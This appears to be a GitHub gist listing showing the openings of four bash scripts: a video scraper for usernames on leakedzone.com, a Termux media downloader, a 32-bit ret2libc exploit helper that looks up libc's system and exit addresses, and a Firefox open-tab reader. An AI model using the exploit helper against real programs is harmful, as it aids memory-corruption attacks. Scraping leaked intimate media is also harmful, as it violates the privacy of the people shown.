This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
function GetVideos(){ | |
username="$1" | |
page=0 | |
while true; do | |
a=($(curl -s "https://leakedzone.com/$username?page=$page&type=videos&order=0" \ | |
-H 'X-Requested-With: XMLHttpRequest' | \ | |
jq -r '.[]|(.slug + "/" + .stream_url_play)')) | |
n=0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/data/data/com.termux/files/usr/bin/bash | |
echo -e "\e[32m" | |
cd ~/storage/downloads | |
if grep youtu <<< "$1" >/dev/null; then | |
youtube-dl -i --embed-thumbnail --extract-audio --audio-format mp3 -o "%(title)s.%(ext)s" "$1" | |
elif grep twitter <<< "$1" >/dev/null; then | |
if [[ $(tr -cd '/' <<<"$1" | wc -c) -eq 3 ]]; then | |
userid=$(cut -d '/' -f 4 <<< "$1" | cut -d '?' -f 1) | |
echo "$userid" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
# For 32 bit only | |
# usage: bash ret2libc.sh program 155 (offset) | |
# get address | |
libc_path="$(ldd "$1" | grep libc | awk -F'[>(]' '{print $2}' | tr -d " ")" | |
libc_add="$(ldd "$1" | grep libc | awk -F'[()]' '{print $2}')" | |
system_add="0x$(readelf -s "$libc_path" | grep ' system@@' | awk '{print $2}')" | |
exit_add="0x$(readelf -s "$libc_path" | grep ' exit@@' | awk '{print $2}')" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
export opentabs=$(find /home/$USER/.mozilla/firefox/*.default-release//sessionstore-backups/recovery.jsonlz4); | |
a=0 | |
while read line title; do | |
a=$((++a)) | |
echo -e "\e[0;1;38;5;196m╭─[\e[0;38;5;40m$a\e[0;1;38;5;160m]\e[0;93m→\e[0;38;5;38m $line\n\e[0;1;38;5;196m╰─▪ \e[0;38;5;155m$title" | |
done < <(python3 <<< $'import os, json, lz4.block | |
f = open(os.environ["opentabs"], "rb") | |
magic = f.read(8) |